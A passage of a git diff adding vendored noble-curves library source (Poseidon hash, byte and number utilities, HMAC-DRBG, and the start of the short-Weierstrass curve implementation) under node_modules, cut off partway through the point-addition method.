https://cr.yp.to/ecdh.html#validate + if (pu === _0n) throw new Error('Invalid private or public key received'); + return encodeUCoordinate(pu); + } + // Computes public key from private. By doing scalar multiplication of base point. + const GuBytes = encodeUCoordinate(CURVE.Gu); + function scalarMultBase(scalar: Hex): Uint8Array { + return scalarMult(scalar, GuBytes); + } + + return { + scalarMult, + scalarMultBase, + getSharedSecret: (privateKey: Hex, publicKey: Hex) => scalarMult(privateKey, publicKey), + getPublicKey: (privateKey: Hex): Uint8Array => scalarMultBase(privateKey), + utils: { randomPrivateKey: () => CURVE.randomBytes!(CURVE.nByteLength) }, + GuBytes: GuBytes, + }; +} diff --git a/node_modules/@noble/curves/src/abstract/poseidon.ts b/node_modules/@noble/curves/src/abstract/poseidon.ts new file mode 100644 index 000000000000..a2a218a222af --- /dev/null +++ b/node_modules/@noble/curves/src/abstract/poseidon.ts @@ -0,0 +1,118 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Poseidon Hash: https://eprint.iacr.org/2019/458.pdf, https://www.poseidon-hash.info +import { IField, FpPow, validateField } from './modular.js'; +// We don't provide any constants, since different implementations use different constants. +// For reference constants see './test/poseidon.test.js'. +export type PoseidonOpts = { + Fp: IField; + t: number; + roundsFull: number; + roundsPartial: number; + sboxPower?: number; + reversePartialPowIdx?: boolean; // Hack for stark + mds: bigint[][]; + roundConstants: bigint[][]; +}; + +export function validateOpts(opts: PoseidonOpts) { + const { Fp, mds, reversePartialPowIdx: rev, roundConstants: rc } = opts; + const { roundsFull, roundsPartial, sboxPower, t } = opts; + + validateField(Fp); + for (const i of ['t', 'roundsFull', 'roundsPartial'] as const) { + if (typeof opts[i] !== 'number' || !Number.isSafeInteger(opts[i])) + throw new Error(`Poseidon: invalid param ${i}=${opts[i]} (${typeof opts[i]})`); + } + + // MDS is TxT matrix + if (!Array.isArray(mds) || mds.length !== t) throw new Error('Poseidon: wrong MDS matrix'); + const _mds = mds.map((mdsRow) => { + if (!Array.isArray(mdsRow) || mdsRow.length !== t) + throw new Error(`Poseidon MDS matrix row: ${mdsRow}`); + return mdsRow.map((i) => { + if (typeof i !== 'bigint') throw new Error(`Poseidon MDS matrix value=${i}`); + return Fp.create(i); + }); + }); + + if (rev !== undefined && typeof rev !== 'boolean') + throw new Error(`Poseidon: invalid param reversePartialPowIdx=${rev}`); + + if (roundsFull % 2 !== 0) throw new Error(`Poseidon roundsFull is not even: ${roundsFull}`); + const rounds = roundsFull + roundsPartial; + + if (!Array.isArray(rc) || rc.length !== rounds) + throw new Error('Poseidon: wrong round constants'); + const roundConstants = rc.map((rc) => { + if (!Array.isArray(rc) || rc.length !== t) + throw new Error(`Poseidon wrong round constants: ${rc}`); + return rc.map((i) => { + if (typeof i !== 'bigint' || !Fp.isValid(i)) + throw new Error(`Poseidon wrong round constant=${i}`); + return Fp.create(i); + }); + }); + + if (!sboxPower || ![3, 5, 7].includes(sboxPower)) + throw new Error(`Poseidon wrong sboxPower=${sboxPower}`); + const _sboxPower = BigInt(sboxPower); + let sboxFn = (n: bigint) => FpPow(Fp, n, _sboxPower); + // Unwrapped sbox power for common cases (195->142μs) + if (sboxPower === 3) sboxFn = (n: bigint) => Fp.mul(Fp.sqrN(n), n); + else if (sboxPower === 5) sboxFn = (n: bigint) => Fp.mul(Fp.sqrN(Fp.sqrN(n)), n); + + return Object.freeze({ ...opts, rounds, sboxFn, roundConstants, mds: _mds }); +} + +export function splitConstants(rc: bigint[], t: number) { + if (typeof t !== 'number') throw new Error('poseidonSplitConstants: wrong t'); + if (!Array.isArray(rc) || rc.length % t) throw new Error('poseidonSplitConstants: wrong rc'); + const res = []; + let tmp = []; + for (let i = 0; i < rc.length; i++) { + tmp.push(rc[i]); + if (tmp.length === t) { + res.push(tmp); + tmp = []; + } + } + return res; +} + +export function poseidon(opts: PoseidonOpts) { + const _opts = validateOpts(opts); + const { Fp, mds, roundConstants, rounds, roundsPartial, sboxFn, t } = _opts; + const halfRoundsFull = _opts.roundsFull / 2; + const partialIdx = _opts.reversePartialPowIdx ? t - 1 : 0; + const poseidonRound = (values: bigint[], isFull: boolean, idx: number) => { + values = values.map((i, j) => Fp.add(i, roundConstants[idx][j])); + + if (isFull) values = values.map((i) => sboxFn(i)); + else values[partialIdx] = sboxFn(values[partialIdx]); + // Matrix multiplication + values = mds.map((i) => i.reduce((acc, i, j) => Fp.add(acc, Fp.mulN(i, values[j])), Fp.ZERO)); + return values; + }; + const poseidonHash = function poseidonHash(values: bigint[]) { + if (!Array.isArray(values) || values.length !== t) + throw new Error(`Poseidon: wrong values (expected array of bigints with length ${t})`); + values = values.map((i) => { + if (typeof i !== 'bigint') throw new Error(`Poseidon: wrong value=${i} (${typeof i})`); + return Fp.create(i); + }); + let round = 0; + // Apply r_f/2 full rounds. + for (let i = 0; i < halfRoundsFull; i++) values = poseidonRound(values, true, round++); + // Apply r_p partial rounds. + for (let i = 0; i < roundsPartial; i++) values = poseidonRound(values, false, round++); + // Apply r_f/2 full rounds. + for (let i = 0; i < halfRoundsFull; i++) values = poseidonRound(values, true, round++); + + if (round !== rounds) + throw new Error(`Poseidon: wrong number of rounds: last round=${round}, total=${rounds}`); + return values; + }; + // For verification in tests + poseidonHash.roundConstants = roundConstants; + return poseidonHash; +} diff --git a/node_modules/@noble/curves/src/abstract/utils.ts b/node_modules/@noble/curves/src/abstract/utils.ts new file mode 100644 index 000000000000..ff5b0c49779f --- /dev/null +++ b/node_modules/@noble/curves/src/abstract/utils.ts @@ -0,0 +1,290 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// 100 lines of code in the file are duplicated from noble-hashes (utils). +// This is OK: `abstract` directory does not use noble-hashes. +// User may opt-in into using different hashing library. This way, noble-hashes +// won't be included into their bundle. +const _0n = BigInt(0); +const _1n = BigInt(1); +const _2n = BigInt(2); +const u8a = (a: any): a is Uint8Array => a instanceof Uint8Array; +export type Hex = Uint8Array | string; // hex strings are accepted for simplicity +export type PrivKey = Hex | bigint; // bigints are accepted to ease learning curve +export type CHash = { + (message: Uint8Array | string): Uint8Array; + blockLen: number; + outputLen: number; + create(opts?: { dkLen?: number }): any; // For shake +}; +export type FHash = (message: Uint8Array | string) => Uint8Array; + +const hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => + i.toString(16).padStart(2, '0') +); +/** + * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123' + */ +export function bytesToHex(bytes: Uint8Array): string { + if (!u8a(bytes)) throw new Error('Uint8Array expected'); + // pre-caching improves the speed 6x + let hex = ''; + for (let i = 0; i < bytes.length; i++) { + hex += hexes[bytes[i]]; + } + return hex; +} + +export function numberToHexUnpadded(num: number | bigint): string { + const hex = num.toString(16); + return hex.length & 1 ? `0${hex}` : hex; +} + +export function hexToNumber(hex: string): bigint { + if (typeof hex !== 'string') throw new Error('hex string expected, got ' + typeof hex); + // Big Endian + return BigInt(hex === '' ? '0' : `0x${hex}`); +} + +/** + * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23]) + */ +export function hexToBytes(hex: string): Uint8Array { + if (typeof hex !== 'string') throw new Error('hex string expected, got ' + typeof hex); + const len = hex.length; + if (len % 2) throw new Error('padded hex string expected, got unpadded hex of length ' + len); + const array = new Uint8Array(len / 2); + for (let i = 0; i < array.length; i++) { + const j = i * 2; + const hexByte = hex.slice(j, j + 2); + const byte = Number.parseInt(hexByte, 16); + if (Number.isNaN(byte) || byte < 0) throw new Error('Invalid byte sequence'); + array[i] = byte; + } + return array; +} + +// BE: Big Endian, LE: Little Endian +export function bytesToNumberBE(bytes: Uint8Array): bigint { + return hexToNumber(bytesToHex(bytes)); +} +export function bytesToNumberLE(bytes: Uint8Array): bigint { + if (!u8a(bytes)) throw new Error('Uint8Array expected'); + return hexToNumber(bytesToHex(Uint8Array.from(bytes).reverse())); +} + +export function numberToBytesBE(n: number | bigint, len: number): Uint8Array { + return hexToBytes(n.toString(16).padStart(len * 2, '0')); +} +export function numberToBytesLE(n: number | bigint, len: number): Uint8Array { + return numberToBytesBE(n, len).reverse(); +} +// Unpadded, rarely used +export function numberToVarBytesBE(n: number | bigint): Uint8Array { + return hexToBytes(numberToHexUnpadded(n)); +} + +/** + * Takes hex string or Uint8Array, converts to Uint8Array. + * Validates output length. + * Will throw error for other types. + * @param title descriptive title for an error e.g. 'private key' + * @param hex hex string or Uint8Array + * @param expectedLength optional, will compare to result array's length + * @returns + */ +export function ensureBytes(title: string, hex: Hex, expectedLength?: number): Uint8Array { + let res: Uint8Array; + if (typeof hex === 'string') { + try { + res = hexToBytes(hex); + } catch (e) { + throw new Error(`${title} must be valid hex string, got "${hex}". Cause: ${e}`); + } + } else if (u8a(hex)) { + // Uint8Array.from() instead of hash.slice() because node.js Buffer + // is instance of Uint8Array, and its slice() creates **mutable** copy + res = Uint8Array.from(hex); + } else { + throw new Error(`${title} must be hex string or Uint8Array`); + } + const len = res.length; + if (typeof expectedLength === 'number' && len !== expectedLength) + throw new Error(`${title} expected ${expectedLength} bytes, got ${len}`); + return res; +} + +/** + * Copies several Uint8Arrays into one. + */ +export function concatBytes(...arrays: Uint8Array[]): Uint8Array { + const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0)); + let pad = 0; // walk through each item, ensure they have proper type + arrays.forEach((a) => { + if (!u8a(a)) throw new Error('Uint8Array expected'); + r.set(a, pad); + pad += a.length; + }); + return r; +} + +export function equalBytes(b1: Uint8Array, b2: Uint8Array) { + // We don't care about timing attacks here + if (b1.length !== b2.length) return false; + for (let i = 0; i < b1.length; i++) if (b1[i] !== b2[i]) return false; + return true; +} + +// Global symbols in both browsers and Node.js since v11 +// See https://github.com/microsoft/TypeScript/issues/31535 +declare const TextEncoder: any; + +/** + * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99]) + */ +export function utf8ToBytes(str: string): Uint8Array { + if (typeof str !== 'string') throw new Error(`utf8ToBytes expected string, got ${typeof str}`); + return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809 +} + +// Bit operations + +/** + * Calculates amount of bits in a bigint. + * Same as `n.toString(2).length` + */ +export function bitLen(n: bigint) { + let len; + for (len = 0; n > _0n; n >>= _1n, len += 1); + return len; +} + +/** + * Gets single bit at position. + * NOTE: first bit position is 0 (same as arrays) + * Same as `!!+Array.from(n.toString(2)).reverse()[pos]` + */ +export function bitGet(n: bigint, pos: number) { + return (n >> BigInt(pos)) & _1n; +} + +/** + * Sets single bit at position. + */ +export const bitSet = (n: bigint, pos: number, value: boolean) => { + return n | ((value ? _1n : _0n) << BigInt(pos)); +}; + +/** + * Calculate mask for N bits. Not using ** operator with bigints because of old engines. + * Same as BigInt(`0b${Array(i).fill('1').join('')}`) + */ +export const bitMask = (n: number) => (_2n << BigInt(n - 1)) - _1n; + +// DRBG + +const u8n = (data?: any) => new Uint8Array(data); // creates Uint8Array +const u8fr = (arr: any) => Uint8Array.from(arr); // another shortcut +type Pred = (v: Uint8Array) => T | undefined; +/** + * Minimal HMAC-DRBG from NIST 800-90 for RFC6979 sigs. + * @returns function that will call DRBG until 2nd arg returns something meaningful + * @example + * const drbg = createHmacDRBG(32, 32, hmac); + * drbg(seed, bytesToKey); // bytesToKey must return Key or undefined + */ +export function createHmacDrbg( + hashLen: number, + qByteLen: number, + hmacFn: (key: Uint8Array, ...messages: Uint8Array[]) => Uint8Array +): (seed: Uint8Array, predicate: Pred) => T { + if (typeof hashLen !== 'number' || hashLen < 2) throw new Error('hashLen must be a number'); + if (typeof qByteLen !== 'number' || qByteLen < 2) throw new Error('qByteLen must be a number'); + if (typeof hmacFn !== 'function') throw new Error('hmacFn must be a function'); + // Step B, Step C: set hashLen to 8*ceil(hlen/8) + let v = u8n(hashLen); // Minimal non-full-spec HMAC-DRBG from NIST 800-90 for RFC6979 sigs. + let k = u8n(hashLen); // Steps B and C of RFC6979 3.2: set hashLen, in our case always same + let i = 0; // Iterations counter, will throw when over 1000 + const reset = () => { + v.fill(1); + k.fill(0); + i = 0; + }; + const h = (...b: Uint8Array[]) => hmacFn(k, v, ...b); // hmac(k)(v, ...values) + const reseed = (seed = u8n()) => { + // HMAC-DRBG reseed() function. Steps D-G + k = h(u8fr([0x00]), seed); // k = hmac(k || v || 0x00 || seed) + v = h(); // v = hmac(k || v) + if (seed.length === 0) return; + k = h(u8fr([0x01]), seed); // k = hmac(k || v || 0x01 || seed) + v = h(); // v = hmac(k || v) + }; + const gen = () => { + // HMAC-DRBG generate() function + if (i++ >= 1000) throw new Error('drbg: tried 1000 values'); + let len = 0; + const out: Uint8Array[] = []; + while (len < qByteLen) { + v = h(); + const sl = v.slice(); + out.push(sl); + len += v.length; + } + return concatBytes(...out); + }; + const genUntil = (seed: Uint8Array, pred: Pred): T => { + reset(); + reseed(seed); // Steps D-G + let res: T | undefined = undefined; // Step H: grind until k is in [1..n-1] + while (!(res = pred(gen()))) reseed(); + reset(); + return res; + }; + return genUntil; +} + +// Validating curves and fields + +const validatorFns = { + bigint: (val: any) => typeof val === 'bigint', + function: (val: any) => typeof val === 'function', + boolean: (val: any) => typeof val === 'boolean', + string: (val: any) => typeof val === 'string', + stringOrUint8Array: (val: any) => typeof val === 'string' || val instanceof Uint8Array, + isSafeInteger: (val: any) => Number.isSafeInteger(val), + array: (val: any) => Array.isArray(val), + field: (val: any, object: any) => (object as any).Fp.isValid(val), + hash: (val: any) => typeof val === 'function' && Number.isSafeInteger(val.outputLen), +} as const; +type Validator = keyof typeof validatorFns; +type ValMap> = { [K in keyof T]?: Validator }; +// type Record = { [P in K]: T; } + +export function validateObject>( + object: T, + validators: ValMap, + optValidators: ValMap = {} +) { + const checkField = (fieldName: keyof T, type: Validator, isOptional: boolean) => { + const checkVal = validatorFns[type]; + if (typeof checkVal !== 'function') + throw new Error(`Invalid validator "${type}", expected function`); + + const val = object[fieldName as keyof typeof object]; + if (isOptional && val === undefined) return; + if (!checkVal(val, object)) { + throw new Error( + `Invalid param ${String(fieldName)}=${val} (${typeof val}), expected ${type}` + ); + } + }; + for (const [fieldName, type] of Object.entries(validators)) checkField(fieldName, type!, false); + for (const [fieldName, type] of Object.entries(optValidators)) checkField(fieldName, type!, true); + return object; +} +// validate type tests +// const o: { a: number; b: number; c: number } = { a: 1, b: 5, c: 6 }; +// const z0 = validateObject(o, { a: 'isSafeInteger' }, { c: 'bigint' }); // Ok! +// // Should fail type-check +// const z1 = validateObject(o, { a: 'tmp' }, { c: 'zz' }); +// const z2 = validateObject(o, { a: 'isSafeInteger' }, { c: 'zz' }); +// const z3 = validateObject(o, { test: 'boolean', z: 'bug' }); +// const z4 = validateObject(o, { a: 'boolean', z: 'bug' }); diff --git a/node_modules/@noble/curves/src/abstract/weierstrass.ts b/node_modules/@noble/curves/src/abstract/weierstrass.ts new file mode 100644 index 000000000000..82e7d4245058 --- /dev/null +++ b/node_modules/@noble/curves/src/abstract/weierstrass.ts @@ -0,0 +1,1222 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Short Weierstrass curve. The formula is: y² = x³ + ax + b +import * as mod from './modular.js'; +import * as ut from './utils.js'; +import { CHash, Hex, PrivKey, ensureBytes } from './utils.js'; +import { Group, GroupConstructor, wNAF, BasicCurve, validateBasic, AffinePoint } from './curve.js'; + +export type { AffinePoint }; +type HmacFnSync = (key: Uint8Array, ...messages: Uint8Array[]) => Uint8Array; +type EndomorphismOpts = { + beta: bigint; + splitScalar: (k: bigint) => { k1neg: boolean; k1: bigint; k2neg: boolean; k2: bigint }; +}; +export type BasicWCurve = BasicCurve & { + // Params: a, b + a: T; + b: T; + + // Optional params + allowedPrivateKeyLengths?: readonly number[]; // for P521 + wrapPrivateKey?: boolean; // bls12-381 requires mod(n) instead of rejecting keys >= n + endo?: EndomorphismOpts; // Endomorphism options for Koblitz curves + // When a cofactor != 1, there can be an effective methods to: + // 1. Determine whether a point is torsion-free + isTorsionFree?: (c: ProjConstructor, point: ProjPointType) => boolean; + // 2. Clear torsion component + clearCofactor?: (c: ProjConstructor, point: ProjPointType) => ProjPointType; +}; + +type Entropy = Hex | true; +export type SignOpts = { lowS?: boolean; extraEntropy?: Entropy; prehash?: boolean }; +export type VerOpts = { lowS?: boolean; prehash?: boolean }; + +/** + * ### Design rationale for types + * + * * Interaction between classes from different curves should fail: + * `k256.Point.BASE.add(p256.Point.BASE)` + * * For this purpose we want to use `instanceof` operator, which is fast and works during runtime + * * Different calls of `curve()` would return different classes - + * `curve(params) !== curve(params)`: if somebody decided to monkey-patch their curve, + * it won't affect others + * + * TypeScript can't infer types for classes created inside a function. Classes is one instance of nominative types in TypeScript and interfaces only check for shape, so it's hard to create unique type for every function call. + * + * We can use generic types via some param, like curve opts, but that would: + * 1. Enable interaction between `curve(params)` and `curve(params)` (curves of same params) + * which is hard to debug. + * 2. Params can be generic and we can't enforce them to be constant value: + * if somebody creates curve from non-constant params, + * it would be allowed to interact with other curves with non-constant params + * + * TODO: https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-7.html#unique-symbol + */ + +// Instance for 3d XYZ points +export interface ProjPointType extends Group> { + readonly px: T; + readonly py: T; + readonly pz: T; + get x(): T; + get y(): T; + multiply(scalar: bigint): ProjPointType; + toAffine(iz?: T): AffinePoint; + isTorsionFree(): boolean; + clearCofactor(): ProjPointType; + assertValidity(): void; + hasEvenY(): boolean; + toRawBytes(isCompressed?: boolean): Uint8Array; + toHex(isCompressed?: boolean): string; + + multiplyUnsafe(scalar: bigint): ProjPointType; + multiplyAndAddUnsafe(Q: ProjPointType, a: bigint, b: bigint): ProjPointType | undefined; + _setWindowSize(windowSize: number): void; +} +// Static methods for 3d XYZ points +export interface ProjConstructor extends GroupConstructor> { + new (x: T, y: T, z: T): ProjPointType; + fromAffine(p: AffinePoint): ProjPointType; + fromHex(hex: Hex): ProjPointType; + fromPrivateKey(privateKey: PrivKey): ProjPointType; + normalizeZ(points: ProjPointType[]): ProjPointType[]; +} + +export type CurvePointsType = BasicWCurve & { + // Bytes + fromBytes?: (bytes: Uint8Array) => AffinePoint; + toBytes?: (c: ProjConstructor, point: ProjPointType, isCompressed: boolean) => Uint8Array; +}; + +function validatePointOpts(curve: CurvePointsType) { + const opts = validateBasic(curve); + ut.validateObject( + opts, + { + a: 'field', + b: 'field', + }, + { + allowedPrivateKeyLengths: 'array', + wrapPrivateKey: 'boolean', + isTorsionFree: 'function', + clearCofactor: 'function', + allowInfinityPoint: 'boolean', + fromBytes: 'function', + toBytes: 'function', + } + ); + const { endo, Fp, a } = opts; + if (endo) { + if (!Fp.eql(a, Fp.ZERO)) { + throw new Error('Endomorphism can only be defined for Koblitz curves that have a=0'); + } + if ( + typeof endo !== 'object' || + typeof endo.beta !== 'bigint' || + typeof endo.splitScalar !== 'function' + ) { + throw new Error('Expected endomorphism with beta: bigint and splitScalar: function'); + } + } + return Object.freeze({ ...opts } as const); +} + +export type CurvePointsRes = { + ProjectivePoint: ProjConstructor; + normPrivateKeyToScalar: (key: PrivKey) => bigint; + weierstrassEquation: (x: T) => T; + isWithinCurveOrder: (num: bigint) => boolean; +}; + +// ASN.1 DER encoding utilities +const { bytesToNumberBE: b2n, hexToBytes: h2b } = ut; +export const DER = { + // asn.1 DER encoding utils + Err: class DERErr extends Error { + constructor(m = '') { + super(m); + } + }, + _parseInt(data: Uint8Array): { d: bigint; l: Uint8Array } { + const { Err: E } = DER; + if (data.length < 2 || data[0] !== 0x02) throw new E('Invalid signature integer tag'); + const len = data[1]; + const res = data.subarray(2, len + 2); + if (!len || res.length !== len) throw new E('Invalid signature integer: wrong length'); + // https://crypto.stackexchange.com/a/57734 Leftmost bit of first byte is 'negative' flag, + // since we always use positive integers here. It must always be empty: + // - add zero byte if exists + // - if next byte doesn't have a flag, leading zero is not allowed (minimal encoding) + if (res[0] & 0b10000000) throw new E('Invalid signature integer: negative'); + if (res[0] === 0x00 && !(res[1] & 0b10000000)) + throw new E('Invalid signature integer: unnecessary leading zero'); + return { d: b2n(res), l: data.subarray(len + 2) }; // d is data, l is left + }, + toSig(hex: string | Uint8Array): { r: bigint; s: bigint } { + // parse DER signature + const { Err: E } = DER; + const data = typeof hex === 'string' ? h2b(hex) : hex; + if (!(data instanceof Uint8Array)) throw new Error('ui8a expected'); + let l = data.length; + if (l < 2 || data[0] != 0x30) throw new E('Invalid signature tag'); + if (data[1] !== l - 2) throw new E('Invalid signature: incorrect length'); + const { d: r, l: sBytes } = DER._parseInt(data.subarray(2)); + const { d: s, l: rBytesLeft } = DER._parseInt(sBytes); + if (rBytesLeft.length) throw new E('Invalid signature: left bytes after parsing'); + return { r, s }; + }, + hexFromSig(sig: { r: bigint; s: bigint }): string { + // Add leading zero if first byte has negative bit enabled. More details in '_parseInt' + const slice = (s: string): string => (Number.parseInt(s[0], 16) & 0b1000 ? '00' + s : s); + const h = (num: number | bigint) => { + const hex = num.toString(16); + return hex.length & 1 ? `0${hex}` : hex; + }; + const s = slice(h(sig.s)); + const r = slice(h(sig.r)); + const shl = s.length / 2; + const rhl = r.length / 2; + const sl = h(shl); + const rl = h(rhl); + return `30${h(rhl + shl + 4)}02${rl}${r}02${sl}${s}`; + }, +}; + +// Be friendly to bad ECMAScript parsers by not using bigint literals +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3), _4n = BigInt(4); + +export function weierstrassPoints(opts: CurvePointsType) { + const CURVE = validatePointOpts(opts); + const { Fp } = CURVE; // All curves has same field / group length as for now, but they can differ + + const toBytes = + CURVE.toBytes || + ((_c: ProjConstructor, point: ProjPointType, _isCompressed: boolean) => { + const a = point.toAffine(); + return ut.concatBytes(Uint8Array.from([0x04]), Fp.toBytes(a.x), Fp.toBytes(a.y)); + }); + const fromBytes = + CURVE.fromBytes || + ((bytes: Uint8Array) => { + // const head = bytes[0]; + const tail = bytes.subarray(1); + // if (head !== 0x04) throw new Error('Only non-compressed encoding is supported'); + const x = Fp.fromBytes(tail.subarray(0, Fp.BYTES)); + const y = Fp.fromBytes(tail.subarray(Fp.BYTES, 2 * Fp.BYTES)); + return { x, y }; + }); + + /** + * y² = x³ + ax + b: Short weierstrass curve formula + * @returns y² + */ + function weierstrassEquation(x: T): T { + const { a, b } = CURVE; + const x2 = Fp.sqr(x); // x * x + const x3 = Fp.mul(x2, x); // x2 * x + return Fp.add(Fp.add(x3, Fp.mul(x, a)), b); // x3 + a * x + b + } + // Validate whether the passed curve params are valid. + // We check if curve equation works for generator point. + // `assertValidity()` won't work: `isTorsionFree()` is not available at this point in bls12-381. + // ProjectivePoint class has not been initialized yet. + if (!Fp.eql(Fp.sqr(CURVE.Gy), weierstrassEquation(CURVE.Gx))) + throw new Error('bad generator point: equation left != right'); + + // Valid group elements reside in range 1..n-1 + function isWithinCurveOrder(num: bigint): boolean { + return typeof num === 'bigint' && _0n < num && num < CURVE.n; + } + function assertGE(num: bigint) { + if (!isWithinCurveOrder(num)) throw new Error('Expected valid bigint: 0 < bigint < curve.n'); + } + // Validates if priv key is valid and converts it to bigint. + // Supports options allowedPrivateKeyLengths and wrapPrivateKey. + function normPrivateKeyToScalar(key: PrivKey): bigint { + const { allowedPrivateKeyLengths: lengths, nByteLength, wrapPrivateKey, n } = CURVE; + if (lengths && typeof key !== 'bigint') { + if (key instanceof Uint8Array) key = ut.bytesToHex(key); + // Normalize to hex string, pad. E.g. P521 would norm 130-132 char hex to 132-char bytes + if (typeof key !== 'string' || !lengths.includes(key.length)) throw new Error('Invalid key'); + key = key.padStart(nByteLength * 2, '0'); + } + let num: bigint; + try { + num = + typeof key === 'bigint' + ? key + : ut.bytesToNumberBE(ensureBytes('private key', key, nByteLength)); + } catch (error) { + throw new Error(`private key must be ${nByteLength} bytes, hex or bigint, not ${typeof key}`); + } + if (wrapPrivateKey) num = mod.mod(num, n); // disabled by default, enabled for BLS + assertGE(num); // num in range [1..N-1] + return num; + } + + const pointPrecomputes = new Map(); + function assertPrjPoint(other: unknown) { + if (!(other instanceof Point)) throw new Error('ProjectivePoint expected'); + } + /** + * Projective Point works in 3d / projective (homogeneous) coordinates: (x, y, z) ∋ (x=x/z, y=y/z) + * Default Point works in 2d / affine coordinates: (x, y) + * We're doing calculations in projective, because its operations don't require costly inversion. + */ + class Point implements ProjPointType { + static readonly BASE = new Point(CURVE.Gx, CURVE.Gy, Fp.ONE); + static readonly ZERO = new Point(Fp.ZERO, Fp.ONE, Fp.ZERO); + + constructor(readonly px: T, readonly py: T, readonly pz: T) { + if (px == null || !Fp.isValid(px)) throw new Error('x required'); + if (py == null || !Fp.isValid(py)) throw new Error('y required'); + if (pz == null || !Fp.isValid(pz)) throw new Error('z required'); + } + + // Does not validate if the point is on-curve. + // Use fromHex instead, or call assertValidity() later. + static fromAffine(p: AffinePoint): Point { + const { x, y } = p || {}; + if (!p || !Fp.isValid(x) || !Fp.isValid(y)) throw new Error('invalid affine point'); + if (p instanceof Point) throw new Error('projective point not allowed'); + const is0 = (i: T) => Fp.eql(i, Fp.ZERO); + // fromAffine(x:0, y:0) would produce (x:0, y:0, z:1), but we need (x:0, y:1, z:0) + if (is0(x) && is0(y)) return Point.ZERO; + return new Point(x, y, Fp.ONE); + } + + get x(): T { + return this.toAffine().x; + } + get y(): T { + return this.toAffine().y; + } + + /** + * Takes a bunch of Projective Points but executes only one + * inversion on all of them. Inversion is very slow operation, + * so this improves performance massively. + * Optimization: converts a list of projective points to a list of identical points with Z=1. + */ + static normalizeZ(points: Point[]): Point[] { + const toInv = Fp.invertBatch(points.map((p) => p.pz)); + return points.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine); + } + + /** + * Converts hash string or Uint8Array to Point. + * @param hex short/long ECDSA hex + */ + static fromHex(hex: Hex): Point { + const P = Point.fromAffine(fromBytes(ensureBytes('pointHex', hex))); + P.assertValidity(); + return P; + } + + // Multiplies generator point by privateKey. + static fromPrivateKey(privateKey: PrivKey) { + return Point.BASE.multiply(normPrivateKeyToScalar(privateKey)); + } + + // We calculate precomputes for elliptic curve point multiplication + // using windowed method. This specifies window size and + // stores precomputed values. Usually only base point would be precomputed. + _WINDOW_SIZE?: number; + + // "Private method", don't use it directly + _setWindowSize(windowSize: number) { + this._WINDOW_SIZE = windowSize; + pointPrecomputes.delete(this); + } + + // A point on curve is valid if it conforms to equation. + assertValidity(): void { + if (this.is0()) { + // (0, 1, 0) aka ZERO is invalid in most contexts. + // In BLS, ZERO can be serialized, so we allow it. + // (0, 0, 0) is wrong representation of ZERO and is always invalid. + if (CURVE.allowInfinityPoint && !Fp.is0(this.py)) return; + throw new Error('bad point: ZERO'); + } + // Some 3rd-party test vectors require different wording between here & `fromCompressedHex` + const { x, y } = this.toAffine(); + // Check if x, y are valid field elements + if (!Fp.isValid(x) || !Fp.isValid(y)) throw new Error('bad point: x or y not FE'); + const left = Fp.sqr(y); // y² + const right = weierstrassEquation(x); // x³ + ax + b + if (!Fp.eql(left, right)) throw new Error('bad point: equation left != right'); + if (!this.isTorsionFree()) throw new Error('bad point: not in prime-order subgroup'); + } + hasEvenY(): boolean { + const { y } = this.toAffine(); + if (Fp.isOdd) return !Fp.isOdd(y); + throw new Error("Field doesn't support isOdd"); + } + + /** + * Compare one point to another. + */ + equals(other: Point): boolean { + assertPrjPoint(other); + const { px: X1, py: Y1, pz: Z1 } = this; + const { px: X2, py: Y2, pz: Z2 } = other; + const U1 = Fp.eql(Fp.mul(X1, Z2), Fp.mul(X2, Z1)); + const U2 = Fp.eql(Fp.mul(Y1, Z2), Fp.mul(Y2, Z1)); + return U1 && U2; + } + + /** + * Flips point to one corresponding to (x, -y) in Affine coordinates. + */ + negate(): Point { + return new Point(this.px, Fp.neg(this.py), this.pz); + } + + // Renes-Costello-Batina exception-free doubling formula. + // There is 30% faster Jacobian formula, but it is not complete. + // https://eprint.iacr.org/2015/1060, algorithm 3 + // Cost: 8M + 3S + 3*a + 2*b3 + 15add. + double() { + const { a, b } = CURVE; + const b3 = Fp.mul(b, _3n); + const { px: X1, py: Y1, pz: Z1 } = this; + let X3 = Fp.ZERO, Y3 = Fp.ZERO, Z3 = Fp.ZERO; // prettier-ignore + let t0 = Fp.mul(X1, X1); // step 1 + let t1 = Fp.mul(Y1, Y1); + let t2 = Fp.mul(Z1, Z1); + let t3 = Fp.mul(X1, Y1); + t3 = Fp.add(t3, t3); // step 5 + Z3 = Fp.mul(X1, Z1); + Z3 = Fp.add(Z3, Z3); + X3 = Fp.mul(a, Z3); + Y3 = Fp.mul(b3, t2); + Y3 = Fp.add(X3, Y3); // step 10 + X3 = Fp.sub(t1, Y3); + Y3 = Fp.add(t1, Y3); + Y3 = Fp.mul(X3, Y3); + X3 = Fp.mul(t3, X3); + Z3 = Fp.mul(b3, Z3); // step 15 + t2 = Fp.mul(a, t2); + t3 = Fp.sub(t0, t2); + t3 = Fp.mul(a, t3); + t3 = Fp.add(t3, Z3); + Z3 = Fp.add(t0, t0); // step 20 + t0 = Fp.add(Z3, t0); + t0 = Fp.add(t0, t2); + t0 = Fp.mul(t0, t3); + Y3 = Fp.add(Y3, t0); + t2 = Fp.mul(Y1, Z1); // step 25 + t2 = Fp.add(t2, t2); + t0 = Fp.mul(t2, t3); + X3 = Fp.sub(X3, t0); + Z3 = Fp.mul(t2, t1); + Z3 = Fp.add(Z3, Z3); // step 30 + Z3 = Fp.add(Z3, Z3); + return new Point(X3, Y3, Z3); + } + + // Renes-Costello-Batina exception-free addition formula. + // There is 30% faster Jacobian formula, but it is not complete. + // https://eprint.iacr.org/2015/1060, algorithm 1 + // Cost: 12M + 0S + 3*a + 3*b3 + 23add. + add(other: Point): Point { + 